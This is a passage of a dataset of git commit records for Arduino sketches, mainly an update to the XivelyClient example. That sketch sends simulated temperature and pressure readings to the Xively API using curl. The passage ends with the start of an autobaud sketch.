send command\n fprintf_P(&modem_out, PSTR(\"AT$SS=%s\\r\"), buffer);\n \/\/ debug message\n if (debug_mode) {\n fprintf_P(&console_out, PSTR(\"send \\\"AT$SS=%s\\\"\\r\\n\"), buffer);\n }\n}\n\n\/\/ *** swap byte order function for 32 and 16 bits ***\nuint32_t bswap_32(uint32_t x)\n{\n unsigned char c[4], temp;\n\n memcpy (c, &x, 4);\n temp = c[0];\n c[0] = c[3];\n c[3] = temp;\n temp = c[1];\n c[1] = c[2];\n c[2] = temp;\n memcpy (&x, c, 4);\n return (x);\n}\n\nuint16_t bswap_16(uint16_t x)\n{\n return ((((x) >> 8) & 0xff) | (((x) & 0xff) << 8));\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'akene_index\/akene_index.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2e05fbe7c8f49895e8b1d8a00c09a9723aa8ddd1","subject":"Updated XivelyClient example","message":"Updated XivelyClient example\n","repos":"tbowmo\/Arduino,stevemarple\/Arduino-org,tomkrus007\/Arduino,cscenter\/Arduino,ccoenen\/Arduino,steamboating\/Arduino,drpjk\/Arduino,jmgonzalez00449\/Arduino,jaimemaretoli\/Arduino,wdoganowski\/Arduino,rcook\/DesignLab,UDOOboard\/Arduino,koltegirish\/Arduino,cscenter\/Arduino,vbextreme\/Arduino,eduardocasarin\/Arduino,jaehong\/Xmegaduino,mc-hamster\/esp8266-Arduino,stevemayhew\/Arduino,snargledorf\/Arduino,PeterVH\/Arduino,laylthe\/Arduino,ssvs111\/Arduino,weera00\/Arduino,majenkotech\/Arduino,tbowmo\/Arduino,UDOOboard\/Arduino,karlitxo\/Arduino,snargledorf\/Arduino,smily77\/Arduino,paulo-raca\/ESP8266-Arduino,gonium\/Arduino,Cloudino\/Arduino,ccoenen\/Arduino,sanyaade-iot\/Arduino-1,ricklon\/Arduino,laylthe\/Arduino,steamboating\/Arduino,nkolban\/Arduino,koltegirish\/Arduino,majenkotech\/Arduino,vbextreme\/Arduino,koltegirish\/Arduino,HCastano\/Arduino,jomolinare\/Arduino,bigjosh\/Arduino,me-no-dev\/Arduino-1,eddyst\/Arduino-SourceCode,radut\/Arduino,talhaburak\/Arduino,garci66\/Arduino,PaoloP74\/Arduino,noahchense\/Arduino-1,Protoneer\/Arduino,NicoHood\/Arduino,bsmr-arduino\/Arduino,garci66\/Arduino,fungxu\/Arduino,tannewt\/Arduino,tbowmo\/Arduino,chaveiro\/Arduino,fungxu\/Arduino,vbextreme\/Arduino,piersoft\/esp8266-Arduino,gberl001\/Arduino,arunkuttiyara\/Arduino,bigjosh\/Arduino,laylthe\/Arduino,stevemayhew\/Arduino,tbowmo\/Arduino,ricklon\/Arduino,arduino-org\/Arduino,gberl001\/Arduino,eggfly\/arduino,laylthe\/Arduino,talhaburak\/Arduino,tommyli2014\/Arduino,jabezGit\/Arduino,sanyaade-iot\/Arduino-1,danielchalef\/Arduino,leftbrainstrain\/Arduino-ESP8266,chaveiro\/Arduino,talhaburak\/Arduino,jabezGit\/Arduino,zenmanenergy\/Arduino,jaimemaretoli\/Arduino,ssvs111\/Arduino,stickbreaker\/Arduino,tskurauskas\/Arduino,mboufos\/esp8266-Arduino,gestrem\/Arduino,weera00\/Arduino,rcook\/DesignLab,zederson\/Arduino,cscenter\/Arduino,eeijcea\/Arduino-1,ccoenen\/Arduino,ari-analytics\/Arduino,snargledorf\/Arduino,acosinwork\/Arduino,scdls\/Arduino,Cloudino\/Arduino,mattvenn\/Arduino,arunkuttiyara\/Arduino,PaoloP74\/Arduino,stevemarple\/Arduino-org,garci66\/Arduino,sanyaade-iot\/Arduino-1,xxxajk\/Arduino-1,majenkotech\/Arduino,eduardocasarin\/Arduino,andrealmeidadomingues\/Arduino,piersoft\/esp8266-Arduino,jmgonzalez00449\/Arduino,garci66\/Arduino,spapadim\/Arduino,jomolinare\/Arduino,gonium\/Arduino,ashwin713\/Arduino,ogahara\/Arduino,niggor\/Arduino_cc,jaehong\/Xmegaduino,ssvs111\/Arduino,henningpohl\/Arduino,gberl001\/Arduino,NicoHood\/Arduino,fungxu\/Arduino,zenmanenergy\/Arduino,jamesrob4\/Arduino,Cloudino\/Cloudino-Arduino-IDE,jabezGit\/Arduino,benwolfe\/esp8266-Arduino,stevemarple\/Arduino-org,gestrem\/Arduino,ari-analytics\/Arduino,me-no-dev\/Arduino-1,tskurauskas\/Arduino,probonopd\/Arduino,jaehong\/Xmegaduino,scdls\/Arduino,mattvenn\/Arduino,superboonie\/Arduino,SmartArduino\/Arduino-1,karlitxo\/Arduino,stevemarple\/Arduino-org,wayoda\/Arduino,NicoHood\/Arduino,aichi\/Arduino-2,me-no-dev\/Arduino-1,nandojve\/Arduino,me-no-dev\/Arduino-1,noahchense\/Arduino-1,ogahara\/Arduino,eeijcea\/Arduino-1,steamboating\/Arduino,eeijcea\/Arduino-1,jaehong\/Xmegaduino,acosinwork\/Arduino,zederson\/Arduino,Alfredynho\/AgroSis,me-no-dev\/Arduino-1,stevemayhew\/Arduino,garci66\/Arduino,myrtleTree33\/Arduino,myrtleTree33\/Arduino,karlitxo\/Arduino,ricklon\/Arduino,wilhelmryan\/Arduino,mattvenn\/Arduino,paulmand3l\/Arduino,stevemayhew\/Arduino,PaoloP74\/Arduino,jomolinare\/Arduino,SmartArduino\/Arduino-1,Alfredynho\/AgroSis,radut\/Arduino,OpenDevice\/Arduino,ForestNymph\/Arduino_sources,jaehong\/Xmegaduino,plinioseniore\/Arduino,xxxajk\/Arduino-1,weera00\/Arduino,tomkrus007\/Arduino,spapadim\/Arduino,gestrem\/Arduino,zenmanenergy\/Arduino,HCastano\/Arduino,SmartArduino\/Arduino-1,Protoneer\/Arduino,mc-hamster\/esp8266-Arduino,ntruchsess\/Arduino-1,shannonshsu\/Arduino,adamkh\/Arduino,superboonie\/Arduino,ogferreiro\/Arduino,zenmanenergy\/Arduino,lulufei\/Arduino,gonium\/Arduino,fungxu\/Arduino,arduino-org\/Arduino,ari-analytics\/Arduino,danielchalef\/Arduino,bigjosh\/Arduino,tannewt\/Arduino,Cloudino\/Arduino,jamesrob4\/Arduino,pdNor\/Arduino,jaej-dev\/Arduino,henningpohl\/Arduino,PaoloP74\/Arduino,NaSymbol\/Arduino,OpenDevice\/Arduino,KlaasDeNys\/Arduino,radut\/Arduino,me-no-dev\/Arduino-1,gurbrinder\/Arduino,probonopd\/Arduino,karlitxo\/Arduino,cscenter\/Arduino,eddyst\/Arduino-SourceCode,jmgonzalez00449\/Arduino,nkolban\/Arduino,eggfly\/arduino,xxxajk\/Arduino-1,ashwin713\/Arduino,piersoft\/esp8266-Arduino,jaehong\/Xmegaduino,UDOOboard\/Arduino,plaintea\/esp8266-Arduino,adafruit\/ESP8266-Arduino,noahchense\/Arduino-1,kidswong999\/Arduino,nandojve\/Arduino,leftbrainstrain\/Arduino-ESP8266,jaej-dev\/Arduino,jomolinare\/Arduino,ricklon\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,mattvenn\/Arduino,benwolfe\/esp8266-Arduino,ntruchsess\/Arduino-1,jaehong\/Xmegaduino,piersoft\/esp8266-Arduino,rcook\/DesignLab,ntruchsess\/Arduino-1,mateuszdw\/Arduino,paulmand3l\/Arduino,nandojve\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,NaSymbol\/Arduino,gberl001\/Arduino,ccoenen\/Arduino,tommyli2014\/Arduino,ntruchsess\/Arduino-1,xxxajk\/Arduino-1,mattvenn\/Arduino,superboonie\/Arduino,ikbelkirasan\/Arduino,ricklon\/Arduino,zaiexx\/Arduino,pdNor\/Arduino,wdoganowski\/Arduino,bsmr-arduino\/Arduino,steamboating\/Arduino,wdoganowski\/Arduino,EmuxEvans\/Arduino,bigjosh\/Arduino,andyvand\/Arduino-1,piersoft\/esp8266-Arduino,gberl001\/Arduino,pdNor\/Arduino,shannonshsu\/Arduino,ogferreiro\/Arduino,plaintea\/esp8266-Arduino,jamesrob4\/Arduino,chaveiro\/Arduino,zaiexx\/Arduino,shannonshsu\/Arduino,superboonie\/Arduino,arunkuttiyara\/Arduino,arduino-org\/Arduino,tbowmo\/Arduino,niggor\/Arduino_cc,ikbelkirasan\/Arduino,bsmr-arduino\/Arduino,laylthe\/Arduino,raimohanska\/Arduino,Chris--A\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,mangelajo\/Arduino,Cloudino\/Cloudino-Arduino-IDE,tommyli2014\/Arduino,shannonshsu\/Arduino,Chris--A\/Arduino,wayoda\/Arduino,NicoHood\/Arduino,tannewt\/Arduino,wilhelmryan\/Arduino,jabezGit\/Arduino,talhaburak\/Arduino,vbextreme\/Arduino,adamkh\/Arduino,henningpohl\/Arduino,byran\/Arduino,NaSymbol\/Arduino,damellis\/Arduino,lulufei\/Arduino,snargledorf\/Arduino,bsmr-arduino\/Arduino,bsmr-arduino\/Arduino,PeterVH\/Arduino,danielchalef\/Arduino,ogahara\/Arduino,byran\/Arduino,niggor\/Arduino_cc,ForestNymph\/Arduino_sources,adamkh\/Arduino,tomkrus007\/Arduino,aichi\/Arduino-2,plinioseniore\/Arduino,KlaasDeNys\/Arduino,stickbreaker\/Arduino,eddyst\/Arduino-SourceCode,SmartArduino\/Arduino-1,byran\/Arduino,chaveiro\/Arduino,lulufei\/Arduino,tomkrus007\/Arduino,stevemayhew\/Arduino,shiitakeo\/Arduino,leftbrainstrain\/Arduino-ESP8266,UDOOboard\/Arduino,probonopd\/Arduino,weera00\/Arduino,lukeWal\/Arduino,gonium\/Arduino,ntruchsess\/Arduino-1,vbextreme\/Arduino,paulmand3l\/Arduino,bigjosh\/Arduino,bsmr-arduino\/Arduino,aichi\/Arduino-2,ThoughtWorksIoTGurgaon\/Arduino,weera00\/Arduino,KlaasDeNys\/Arduino,probonopd\/Arduino,jabezGit\/Arduino,wayoda\/Arduino,jmgonzalez00449\/Arduino,smily77\/Arduino,talhaburak\/Arduino,chaveiro\/Arduino,kidswong999\/Arduino,tomkrus007\/Arduino,pdNor\/Arduino,tannewt\/Arduino,mc-hamster\/esp8266-Arduino,kidswong999\/Arduino,paulo-raca\/ESP8266-Arduino,mc-hamster\/esp8266-Arduino,wilhelmryan\/Arduino,andyvand\/Arduino-1,OpenDevice\/Arduino,stickbreaker\/Arduino,pdNor\/Arduino,jaimemaretoli\/Arduino,jmgonzalez00449\/Arduino,drpjk\/Arduino,mateuszdw\/Arduino,Gourav2906\/Arduino,plaintea\/esp8266-Arduino,PaoloP74\/Arduino,adafruit\/ESP8266-Arduino,ikbelkirasan\/Arduino,danielchalef\/Arduino,damellis\/Arduino,mateuszdw\/Arduino,me-no-dev\/Arduino-1,chaveiro\/Arduino,vbextreme\/Arduino,wilhelmryan\/Arduino,UDOOboard\/Arduino,eduardocasarin\/Arduino,tskurauskas\/Arduino,tskurauskas\/Arduino,shannonshsu\/Arduino,lukeWal\/Arduino,shannonshsu\/Arduino,ogferreiro\/Arduino,plinioseniore\/Arduino,NicoHood\/Arduino,jmgonzalez00449\/Arduino,spapadim\/Arduino,adamkh\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,koltegirish\/Arduino,jamesrob4\/Arduino,mboufos\/esp8266-Arduino,ikbelkirasan\/Arduino,mc-hamster\/esp8266-Arduino,xxxajk\/Arduino-1,mboufos\/esp8266-Arduino,scdls\/Arduino,zaiexx\/Arduino,benwolfe\/esp8266-Arduino,NeuralSpaz\/Arduino,PaoloP74\/Arduino,ccoenen\/Arduino,raimohanska\/Arduino,niggor\/Arduino_cc,mboufos\/esp8266-Arduino,ikbelkirasan\/Arduino,ari-analytics\/Arduino,gestrem\/Arduino,bigjosh\/Arduino,PeterVH\/Arduino,acosinwork\/Arduino,rcook\/DesignLab,spapadim\/Arduino,KlaasDeNys\/Arduino,leftbrainstrain\/Arduino-ESP8266,andrealmeidadomingues\/Arduino,NicoHood\/Arduino,zenmanenergy\/Arduino,KlaasDeNys\/Arduino,xxxajk\/Arduino-1,Chris--A\/Arduino,eduardocasarin\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,damellis\/Arduino,NicoHood\/Arduino,tommyli2014\/Arduino,onovy\/Arduino,fungxu\/Arduino,raimohanska\/Arduino,plinioseniore\/Arduino,kidswong999\/Arduino,zederson\/Arduino,jaej-dev\/Arduino,drpjk\/Arduino,raimohanska\/Arduino,majenkotech\/Arduino,scdls\/Arduino,PeterVH\/Arduino,gurbrinder\/Arduino,mangelajo\/Arduino,acosinwork\/Arduino,laylthe\/Arduino,ogferreiro\/Arduino,ektor5\/Arduino,bigjosh\/Arduino,HCastano\/Arduino,mateuszdw\/Arduino,acosinwork\/Arduino,pdNor\/Arduino,chaveiro\/Arduino,zaiexx\/Arduino,leftbrainstrain\/Arduino-ESP8266,Cloudino\/Arduino,gurbrinder\/Arduino,gonium\/Arduino,Cloudino\/Arduino,Gourav2906\/Arduino,zederson\/Arduino,jaimemaretoli\/Arduino,ogferreiro\/Arduino,OpenDevice\/Arduino,noahchense\/Arduino-1,scdls\/Arduino,sanyaade-iot\/Arduino-1,Chris--A\/Arduino,bigjosh\/Arduino,ccoenen\/Arduino,mattvenn\/Arduino,superboonie\/Arduino,tannewt\/Arduino,Cloudino\/Cloudino-Arduino-IDE,jmgonzalez00449\/Arduino,cscenter\/Arduino,arduino-org\/Arduino,NeuralSpaz\/Arduino,gurbrinder\/Arduino,jomolinare\/Arduino,ari-analytics\/Arduino,talhaburak\/Arduino,probonopd\/Arduino,danielchalef\/Arduino,nandojve\/Arduino,Protoneer\/Arduino,adafruit\/ESP8266-Arduino,NaSymbol\/Arduino,kidswong999\/Arduino,steamboating\/Arduino,damellis\/Arduino,andyvand\/Arduino-1,scdls\/Arduino,Protoneer\/Arduino,wilhelmryan\/Arduino,HCastano\/Arduino,paulmand3l\/Arduino,myrtleTree33\/Arduino,wdoganowski\/Arduino,drpjk\/Arduino,ashwin713\/Arduino,EmuxEvans\/Arduino,nandojve\/Arduino,NaSymbol\/Arduino,ikbelkirasan\/Arduino,niggor\/Arduino_cc,snargledorf\/Arduino,jamesrob4\/Arduino,gestrem\/Arduino,Chris--A\/Arduino,ricklon\/Arduino,stevemayhew\/Arduino,myrtleTree33\/Arduino,radut\/Arduino,PeterVH\/Arduino,talhaburak\/Arduino,tommyli2014\/Arduino,henningpohl\/Arduino,aichi\/Arduino-2,tskurauskas\/Arduino,arunkuttiyara\/Arduino,Alfredynho\/AgroSis,Gourav2906\/Arduino,tbowmo\/Arduino,smily77\/Arduino,danielchalef\/Arduino,sanyaade-iot\/Arduino-1,EmuxEvans\/Arduino,eddyst\/Arduino-SourceCode,lulufei\/Arduino,myrtleTree33\/Arduino,stevemayhew\/Arduino,gurbrinder\/Arduino,gestrem\/Arduino,andrealmeidadomingues\/Arduino,mateuszdw\/Arduino,Chris--A\/Arduino,karlitxo\/Arduino,Alfredynho\/AgroSis,paulmand3l\/Arduino,nkolban\/Arduino,adamkh\/Arduino,majenkotech\/Arduino,vbextreme\/Arduino,ogahara\/Arduino,eduardocasarin\/Arduino,jaimemaretoli\/Arduino,tannewt\/Arduino,mangelajo\/Arduino,tommyli2014\/Arduino,wayoda\/Arduino,KlaasDeNys\/Arduino,zenmanenergy\/Arduino,ashwin713\/Arduino,plinioseniore\/Arduino,koltegirish\/Arduino,Protoneer\/Arduino,gberl001\/Arduino,UDOOboard\/Arduino,ccoenen\/Arduino,ari-analytics\/Arduino,ikbelkirasan\/Arduino,wilhelmryan\/Arduino,smily77\/Arduino,ari-analytics\/Arduino,HCastano\/Arduino,plaintea\/esp8266-Arduino,ntruchsess\/Arduino-1,gestrem\/Arduino,lukeWal\/Arduino,ogahara\/Arduino,jaej-dev\/Arduino,paulo-raca\/ESP8266-Arduino,probonopd\/Arduino,mateuszdw\/Arduino,smily77\/Arduino,zenmanenergy\/Arduino,adamkh\/Arduino,mboufos\/esp8266-Arduino,radut\/Arduino,PaoloP74\/Arduino,nkolban\/Arduino,gonium\/Arduino,arunkuttiyara\/Arduino,garci66\/Arduino,zaiexx\/Arduino,onovy\/Arduino,lulufei\/Arduino,koltegirish\/Arduino,steamboating\/Arduino,ForestNymph\/Arduino_sources,jaej-dev\/Arduino,mangelajo\/Arduino,ssvs111\/Arduino,arunkuttiyara\/Arduino,arduino-org\/Arduino,Alfredynho\/AgroSis,PeterVH\/Arduino,shiitakeo\/Arduino,eddyst\/Arduino-SourceCode,eeijcea\/Arduino-1,jaej-dev\/Arduino,EmuxEvans\/Arduino,adamkh\/Arduino,Protoneer\/Arduino,jomolinare\/Arduino,toddtreece\/esp8266-Arduino,aichi\/Arduino-2,onovy\/Arduino,kidswong999\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,adafruit\/ESP8266-Arduino,shiitakeo\/Arduino,nandojve\/Arduino,wayoda\/Arduino,shiitakeo\/Arduino,damellis\/Arduino,vbextreme\/Arduino,stickbreaker\/Arduino,steamboating\/Arduino,jabezGit\/Arduino,HCastano\/Arduino,lukeWal\/Arduino,radut\/Arduino,ashwin713\/Arduino,myrtleTree33\/Arduino,onovy\/Arduino,acosinwork\/Arduino,wayoda\/Arduino,ektor5\/Arduino,cscenter\/Arduino,gonium\/Arduino,PaoloP74\/Arduino,snargledorf\/Arduino,damellis\/Arduino,plaintea\/esp8266-Arduino,Cloudino\/Arduino,Cloudino\/Cloudino-Arduino-IDE,zederson\/Arduino,xxxajk\/Arduino-1,SmartArduino\/Arduino-1,zaiexx\/Arduino,majenkotech\/Arduino,tomkrus007\/Arduino,pdNor\/Arduino,superboonie\/Arduino,Chris--A\/Arduino,byran\/Arduino,NeuralSpaz\/Arduino,ForestNymph\/Arduino_sources,lukeWal\/Arduino,majenkotech\/Arduino,eeijcea\/Arduino-1,raimohanska\/Arduino,gurbrinder\/Arduino,adamkh\/Arduino,shannonshsu\/Arduino,drpjk\/Arduino,mangelajo\/Arduino,tskurauskas\/Arduino,SmartArduino\/Arduino-1,ektor5\/Arduino,paulo-raca\/ESP8266-Arduino,nkolban\/Arduino,stevemarple\/Arduino-org,lukeWal\/Arduino,jaimemaretoli\/Arduino,mangelajo\/Arduino,adafruit\/ESP8266-Arduino,NeuralSpaz\/Arduino,ogferreiro\/Arduino,noahchense\/Arduino-1,KlaasDeNys\/Arduino,tskurauskas\/Arduino,sanyaade-iot\/Arduino-1,xxxajk\/Arduino-1,wayoda\/Arduino,eddyst\/Arduino-SourceCode,bsmr-arduino\/Arduino,nandojve\/Arduino,ssvs111\/Arduino,noahchense\/Arduino-1,ogahara\/Arduino,Gourav2906\/Arduino,ntruchsess\/Arduino-1,zederson\/Arduino,Cloudino\/Cloudino-Arduino-IDE,nandojve\/Arduino,ForestNymph\/Arduino_sources,garci66\/Arduino,superboonie\/Arduino,smily77\/Arduino,gberl001\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,eggfly\/arduino,myrtleTree33\/Arduino,eeijcea\/Arduino-1,henningpohl\/Arduino,paulmand3l\/Arduino,wdoganowski\/Arduino,zaiexx\/Arduino,NeuralSpaz\/Arduino,noahchense\/Arduino-1,adafruit\/ESP8266-Arduino,garci66\/Arduino,tomkrus007\/Arduino,benwolfe\/esp8266-Arduino,byran\/Arduino,niggor\/Arduino_cc,shannonshsu\/Arduino,wayoda\/Arduino,chaveiro\/Arduino,arduino-org\/Arduino,aichi\/Arduino-2,byran\/Arduino,mattvenn\/Arduino,jaimemaretoli\/Arduino,ektor5\/Arduino,lukeWal\/Arduino,onovy\/Arduino,eggfly\/arduino,onovy\/Arduino,PeterVH\/Arduino,wdoganowski\/Arduino,lulufei\/Arduino,jaej-dev\/Arduino,jomolinare\/Arduino,snargledorf\/Arduino,paulo-raca\/ESP8266-Arduino,Gourav2906\/Arduino,pdNor\/Arduino,gurbrinder\/Arduino,spapadim\/Arduino,rcook\/DesignLab,cscenter\/Arduino,kidswong999\/Arduino,eeijcea\/Arduino-1,damellis\/Arduino,ogferreiro\/Arduino,andyvand\/Arduino-1,lukeWal\/Arduino,benwolfe\/esp8266-Arduino,kidswong999\/Arduino,henningpohl\/Arduino,radut\/Arduino,shiitakeo\/Arduino,toddtreece\/esp8266-Arduino,jabezGit\/Arduino,OpenDevice\/Arduino,Cloudino\/Cloudino-Arduino-IDE,leftbrainstrain\/Arduino-ESP8266,mangelajo\/Arduino,ntruchsess\/Arduino-1,niggor\/Arduino_cc,NaSymbol\/Arduino,acosinwork\/Arduino,UDOOboard\/Arduino,NeuralSpaz\/Arduino,mateuszdw\/Arduino,eduardocasarin\/Arduino,aichi\/Arduino-2,smily77\/Arduino,NeuralSpaz\/Arduino,eggfly\/arduino,ashwin713\/Arduino,ektor5\/Arduino,andrealmeidadomingues\/Arduino,Gourav2906\/Arduino,adafruit\/ESP8266-Arduino,cscenter\/Arduino,jaimemaretoli\/Arduino,andyvand\/Arduino-1,jamesrob4\/Arduino,wilhelmryan\/Arduino,ForestNymph\/Arduino_sources,fungxu\/Arduino,Protoneer\/Arduino,tbowmo\/Arduino,onovy\/Arduino,plinioseniore\/Arduino,tannewt\/Arduino,rcook\/DesignLab,stickbreaker\/Arduino,OpenDevice\/Arduino,drpjk\/Arduino,eggfly\/arduino,ssvs111\/Arduino,lulufei\/Arduino,eggfly\/arduino,arduino-org\/Arduino,stevemarple\/Arduino-org,eddyst\/Arduino-SourceCode,byran\/Arduino,ricklon\/Arduino,nkolban\/Arduino,tomkrus007\/Arduino,HCastano\/Arduino,henningpohl\/Arduino,ari-analytics\/Arduino,stevemarple\/Arduino-org,me-no-dev\/Arduino-1,andyvand\/Arduino-1,Alfredynho\/AgroSis,ccoenen\/Arduino,EmuxEvans\/Arduino,toddtreece\/esp8266-Arduino,shiitakeo\/Arduino,jmgonzalez00449\/Arduino,Gourav2906\/Arduino,jamesrob4\/Arduino,NaSymbol\/Arduino,laylthe\/Arduino,eggfly\/arduino,tommyli2014\/Arduino,arduino-org\/Arduino,PeterVH\/Arduino,wdoganowski\/Arduino,plinioseniore\/Arduino,karlitxo\/Arduino,tskurauskas\/Arduino,fungxu\/Arduino,danielchalef\/Arduino,eduardocasarin\/Arduino,Cloudino\/Cloudino-Arduino-IDE,henningpohl\/Arduino,spapadim\/Arduino,andrealmeidadomingues\/Arduino,andrealmeidadomingues\/Arduino,superboonie\/Arduino,zaiexx\/Arduino,leftbrainstrain\/Arduino-ESP8266,EmuxEvans\/Arduino,ForestNymph\/Arduino_sources,scdls\/Arduino,bsmr-arduino\/Arduino,sanyaade-iot\/Arduino-1,NaSymbol\/Arduino,stickbreaker\/Arduino,probonopd\/Arduino,drpjk\/Arduino,raimohanska\/Arduino,karlitxo\/Arduino,Alfredynho\/AgroSis,nkolban\/Arduino,andyvand\/Arduino-1,koltegirish\/Arduino,Cloudino\/Arduino,jabezGit\/Arduino,Gourav2906\/Arduino,arunkuttiyara\/Arduino,ssvs111\/Arduino,paulmand3l\/Arduino,Chris--A\/Arduino,acosinwork\/Arduino,paulo-raca\/ESP8266-Arduino,eddyst\/Arduino-SourceCode,ektor5\/Arduino,zederson\/Arduino,EmuxEvans\/Arduino,ikbelkirasan\/Arduino,spapadim\/Arduino,KlaasDeNys\/Arduino,stevemayhew\/Arduino,ashwin713\/Arduino,weera00\/Arduino,paulo-raca\/ESP8266-Arduino,niggor\/Arduino_cc,SmartArduino\/Arduino-1,niggor\/Arduino_cc,andrealmeidadomingues\/Arduino,ogahara\/Arduino,tbowmo\/Arduino,HCastano\/Arduino,stickbreaker\/Arduino,ashwin713\/Arduino,rcook\/DesignLab,stevemarple\/Arduino-org,OpenDevice\/Arduino,byran\/Arduino,talhaburak\/Arduino,shiitakeo\/Arduino,NicoHood\/Arduino,raimohanska\/Arduino,weera00\/Arduino","old_file":"hardware\/arduino\/avr\/libraries\/Bridge\/examples\/XivelyClient\/XivelyClient.ino","new_file":"hardware\/arduino\/avr\/libraries\/Bridge\/examples\/XivelyClient\/XivelyClient.ino","new_contents":"\/*\n Xively sensor client with Strings \n \n This sketch connects an analog sensor to Xively,\n using an Arduino Y\u00fan. \n \n created 15 March 2010\n updated 27 May 2013\n by Tom Igoe\n \n *\/\n\n\/\/ include all Libraries needed:\n#include <Process.h>\n#include \"passwords.h\" \/\/ contains my passwords, see below\n\n\/*\n NOTE: passwords.h is not included with this repo because it contains my passwords.\n You need to create it for your own version of this application. To do so, make\n a new tab in Arduino, call it passwords.h, and include the following variables and constants:\n \n #define APIKEY \"foo\" \/\/ replace your pachube api key here\n #define FEEDID 0000 \/\/ replace your feed ID\n #define USERAGENT \"my-project\" \/\/ user agent is the project name\n *\/\n\n\n\/\/ set up net client info:\nconst unsigned long postingInterval = 60000; \/\/delay between updates to xively.com\nunsigned long lastRequest = 0; \/\/ when you last made a request\nString dataString = \"\";\n\nvoid setup() {\n \/\/ start serial port:\n Bridge.begin();\n Console.begin();\n\n while(!Console); \/\/ wait for Network Console to open\n Console.println(\"Xively client\");\n\n \/\/ Do a first update immediatly\n updateData();\n sendData();\n lastRequest = millis();\n}\n\nvoid loop() {\n \/\/ get a timestamp so you can calculate reading and sending intervals:\n long now = millis();\n\n \/\/ if the sending interval has passed since your\n \/\/ last connection, then connect again and send data:\n if (now - lastRequest >= postingInterval) {\n updateData();\n sendData();\n lastRequest = now;\n }\n}\n\nvoid updateData() {\n \/\/ convert the readings to a String to send it:\n dataString = \"Temperature,\";\n dataString += random(10) + 20;\n \/\/ add pressure:\n dataString += \"\\nPressure,\";\n dataString += random(5) + 100;\n}\n\n\/\/ this method makes a HTTP connection to the server:\nvoid sendData() {\n \/\/ form the string for the API header parameter:\n String apiString = \"X-ApiKey: \";\n apiString += APIKEY;\n\n \/\/ form the string for the URL parameter:\n String url = \"https:\/\/api.xively.com\/v2\/feeds\/\";\n url += FEEDID;\n url += \".csv\";\n\n \/\/ Send the HTTP PUT request\n\n \/\/ Is better to declare the Process here, so when the\n \/\/ sendData function finishes the resources are immediatly\n \/\/ released. Declaring it global works too, BTW.\n Process xively;\n Console.print(\"\\n\\nSending data... \");\n xively.begin(\"curl\");\n xively.addParameter(\"-k\");\n xively.addParameter(\"--request\");\n xively.addParameter(\"PUT\");\n xively.addParameter(\"--data\");\n xively.addParameter(dataString);\n xively.addParameter(\"--header\");\n xively.addParameter(apiString); \n xively.addParameter(url);\n xively.run();\n Console.println(\"done!\");\n\n \/\/ If there's incoming data from the net connection,\n \/\/ send it out the Console:\n while (xively.available()>0) {\n char c = xively.read();\n Console.write(c);\n }\n\n}\n\n\n\n\n","old_contents":"\n\/*\n Xively sensor client with Strings \n \n This sketch connects an analog sensor to Xively,\n using an Arduino Yun. \n \n created 15 March 2010\n updated 27 May 2013\n by Tom Igoe\n \n NOT CURRENTLY WORKING as of Arduino 1.5.3 27 May 2013\n \n *\/\n\n\/\/ include all Libraries needed:\n#include <Process.h>\n#include \"passwords.h\" \/\/ contains my passwords, see below\n\n\/*\n NOTE: passwords.h is not included with this repo because it contains my passwords.\n You need to create it for your own version of this application. To do so, make\n a new tab in Arduino, call it passwords.h, and include the following variables and constants:\n \n #define APIKEY \"foo\" \/\/ replace your pachube api key here\n #define FEEDID 0000 \/\/ replace your feed ID\n #define USERAGENT \"my-project\" \/\/ user agent is the project name\n *\/\n\n\n\/\/ set up net client info:\nboolean lastConnected = false; \/\/ state of the connection last time through the main loop\nconst unsigned long postingInterval = 60000; \/\/delay between updates to Pachube.com\nunsigned long lastRequest = 0; \/\/ when you last made a request\nString dataString = \"\";\nProcess xively;\n\nvoid setup() {\n \/\/ start serial port:\n Serial.begin(9600);\n Bridge.begin();\n delay(2000);\n\n while(!Serial); \/\/ wait for Serial Monitor to open\n Serial.println(\"Xively client\");\n\n \/\/ reserve space for dataString:\n dataString.reserve(100);\n sendData();\n}\n\nvoid loop() {\n \/\/ get a timestamp so you can calculate reading and sending intervals:\n long now = millis();\n\n \/\/ convert the readings to a String to send it:\n dataString = \"temp,\";\n dataString += random(10) + 20;\n \/\/ add pressure:\n dataString += \"\\nPressure,\";\n dataString += random(5) + 100;\n\n \/\/ if there's incoming data from the net connection,\n \/\/ send it out the serial port:\n if (xively.available()>0) {\n char c = xively.read();\n Serial.write(c);\n }\n\n\n \/\/ if you're not connected, and the sending interval has passed since\n \/\/ your last connection, then connect again and send data:\n if(now - lastRequest >= postingInterval) {\n sendData();\n lastRequest = now;\n }\n}\n\n\/\/ this method makes a HTTP connection to the server:\nvoid sendData() {\n Serial.println(\"Sending data\");\n dataString = \"--data \\'\" + dataString;\n dataString += \"\\'\";\n\n \/\/ form the string for the API header parameter:\n String apiString = \"--header \\\"X-ApiKey: \";\n apiString += APIKEY;\n apiString += \"\\\"\";\n\n \/\/ form the string for the URL parameter:\n String url = \" \\\"https:\/\/api.xively.com\/v2\/feeds\/\";\n url += FEEDID;\n url += \".csv\\\"\";\n \n \/\/ send the HTTP PUT request:\n xively.begin(\"curl\");\n xively.addParameter(\"-k\");\n xively.addParameter(\"--request PUT\");\n xively.addParameter(dataString);\n xively.addParameter(apiString); \n xively.addParameter(url);\n xively.run();\n}\n\n\n\n\n\n\n\n\n\n","returncode":0,"stderr":"","license":"lgpl-2.1","lang":"Arduino"} {"commit":"610274f163bd8b16c1c3fa9d53ee830e362baefa","subject":"add autobaud_bitlash.ino","message":"add autobaud_bitlash.ino\n","repos":"sourceperl\/arduino.serial-spy,sourceperl\/arduino.serial-spy","old_file":"autobaud_bitlash.ino","new_file":"autobaud_bitlash.ino","new_contents":"\/\/ auto serial baudrate discover\n\/\/\n\/\/ target : Arduino Mega (ATMega2560)\n\/\/ note : - use timer1 for 0.5 uS accuracy time measure \n\/\/ (arduino core micros() is just 4us accuracy).\n\/\/ - signal to detect must be wire on pin 2.\n\/\/ - use bitlash for console manager (see https:\/\/github.com\/billroy\/bitlash)\n\/\/ - use 